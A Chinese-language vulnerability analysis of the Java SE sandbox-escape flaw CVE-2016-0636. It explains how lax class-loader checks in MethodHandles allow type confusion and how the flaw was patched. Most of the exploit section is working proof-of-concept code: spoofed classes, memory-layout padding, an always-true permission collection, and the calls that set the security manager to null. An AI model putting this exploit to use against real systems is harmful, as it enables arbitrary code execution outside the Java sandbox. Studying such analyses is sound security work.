漏洞编号: CVE-2016-0636 ,此漏洞是安全研究员(Adam Gowdiak)于2013年报告给Oracle的漏洞(CVE-2013-5838)的变体。由于Oracle在部分代码分支中未对该漏洞进行修补,导致了此漏洞再现江湖,影响版本:java SE 7u97, 8u73, 8u74。
Windows 7 x86 + jdk_1.8.0_74
由于反射API的实现存在缺陷,当方法句柄(MethodHandles)处理目标类的成员函数时,因对函数参数的类型校验不严谨,可导致类型混淆。校验过程如下图所示:
其中clazz代表目标类,type代表clazz类的成员函数,具体验证代码如下图所示:
其中loadersAreRelated的实现代码如下:
#!java @param paramClassLoader1 函数参数的加载器 @param paramClassLoader2 目标类的加载器 private static boolean loadersAreRelated(ClassLoader paramClassLoader1, ClassLoader paramClassLoader2, boolean paramBoolean) { ... for (ClassLoader localClassLoader = paramClassLoader2; localClassLoader != null; localClassLoader = localClassLoader.getParent()) { if (localClassLoader == paramClassLoader1) { return true; } } ... }
该函数循环检查目标类的加载器或者父加载器是否与函数参数的加载器相等,如果相等直接返回true,表示验证通过。当目标类的加载器与其函数参数的加载器不一致,并且两个加载器存在父子关系时,就形成了类型混淆的漏洞。
JVM在加载类时默认采用的是双亲委派机制,通俗的讲,就是某个特定的类加载器在接到加载类的请求时,首先将加载任务委托给父类加载器,依次递归,如果父类加载器可以完成此类的加载任务,就成功返回;只有父类加载器无法完成此加载任务时,才会自己去加载该类。如下图所示:
定义void A.m(P p),A表示目标类、m表示函数、p表示参数;A由cl2加载;p由cl1加载,并且cl1 是cl2 的父加载器(其中p可以在cl1空间伪造,因为正常情况下p应该由cl2加载)。
#!java URLClassLoader cl1=(URLClassLoader)getClass().getClassLoader(); URL utab[]=cl1.getURLs(); URL url=new URL(utab[0]+"/data/"); utab=new URL[1]; utab[0]=url; URLClassLoader cl2=URLClassLoader.newInstance(utab,cl1); /* find A classe in cl2 namespace /*/ MethodHandles.Lookup lookup=MethodHandles.lookup(); Class a/_cl2=cl2.loadClass("A"); /* find m method of A class */ lookup=lookup.in(a_cl2); Class ctab[]=new Class[1]; ctab[0]=P.class; desc=MethodType.methodType(Void.TYPE,ctab); MethodHandle mh=lookup.findStatic(a/_cl2,"m",desc);//获取m函数的方法句柄 P p = new P(); mh.invokeExact(p);
伪造p来达到对象混淆的目的,通过合理的内存布局,读写目标对象的内存数据,将安全沙箱管理器设置为null,从而绕过安全沙箱限制,执行任意代码。
通过类型混淆,改写当前系统权限集为用户自定义的权限集,自定义的权限集会返回一个空集。当安全沙箱管理器被置为null时,会调用系统权限集合进行安全检查,但此时系统权限集已被篡改为用户自定义的权限集,所以返回空,安全权限检查通过,成功将安全管理器置为null,从而绕过安全沙箱的限制。
1.构造两个名称一样的类A作为p,一个在cl1空间,另一个在cl2空间,为类混淆做准备,代码如下:
#!java A in cl1 namespace public class A { public AccessControlContext macc; } A in cl2 namespace public class A { public MyAccessControlContext macc; }
2.用户自定义的MyAccessControlContext用于获取context,代码如下:
#!java public class MyAccessControlContext { int dummy; public MyProtectionDomain context[]; }
其中dummy为填充的数据,用于占位来控制内存布局。致使MyAccessControlContext.context恰好等于AccessControlContext.content。内存布局如下所示:
#!bash macc in cl1 macc in cl2 03ca56d0 00000001 ---> 03caa940 00000001 03ca56d4 1480e188 ---> 03caa944 143e1438 03ca56d8 00000100 ---> 03caa948 41414141 //dummy 03ca56dc 03ca56c0 ---> 03caa94c 03cab6b8 //content 03ca56e0 00000000 03ca56e4 00000000 03ca56e8 00000000 03ca56ec 00000000 03ca56f0 00000000 03ca56f4 00000000
3.用户自定义的MyPermissions权限集合类,会返回一个空集合。代码如下:
#!java public class MyPermissions extends PermissionCollection implements Serializable { Object dummy;//用于占位来控制内存布局 public transient boolean hasUnresolved; public PermissionCollection allPermission; public Enumeration<Permission> elements() { return null; } public boolean implies(Permission perm) { return true; } public void add(Permission permission) { } }
4.将系统权限集合设置为自定义权限集合,代码实现如下:
#!java public static void set_privileges(MyAccessControlContext macc) { try { MyProtectionDomain mpd=macc.context[0]; MyPermissions permissions=mpd.permissions;//转换成自定义权限集 permissions.allPermission=(PermissionCollection)permission;/设置系统权限集为自定义权限集 } catch(Throwable e) {e.printStackTrace();} }
5.逻辑实现步骤:
在cl2执行方法将安全管理器设置null。关键代码如下:
#!java //exploit type confusion for ACC from cl1 namespace a.macc=AccessController.getContext(); confuse_types_mh.invokeExact(a);//cl1 空间对象混淆,篡改权限集合 //exploit type confusion for ACC from cl2 namespace a.macc=(AccessControlContext)getACC_mh.invoke(); confuse_types_mh.invokeExact(a);//cl2 空间对象混淆,篡改权限集合 //invoke Exploit.run method and proceed with full sandbox bypass run_mh.invokeExact()//将安全管理器设置null,执行任意代码;
利用该漏洞绕过了安全沙箱的限制,成功弹出计算器,如下图所示:
保证目标类的加载器和函数参数类的加载器为同一加载器即可,修补代码如下:
#!java @param paramClass1 函数参数类 @param paramClass2 目标类 public static boolean isTypeVisible(Class<?> paramClass1, Class<?> paramClass2) { ... String class1Name = paramClass1.getName(); Class localClass = (Class)AccessController.doPrivileged(new PrivilegedAction() { public Class<?> run() { try { return Class.forName(class1Name, false, localClassLoader2); } catch (ClassNotFoundException|LinkageError localClassNotFoundException) {} return null; } }); return paramClass1 == localClass;</font> }
首先获取参数类的名称,然后让目标类加载器尝试加载参数类。如果加载成功,并且判断两个类是否相等,如果相等,则验证通过,否则验证失败。这样就保证了目标类的加载器和函数参数类的加载器为同一加载器,成功修补漏洞。
http://www.security-explorations.com/materials/se-2012-01-69.2.zip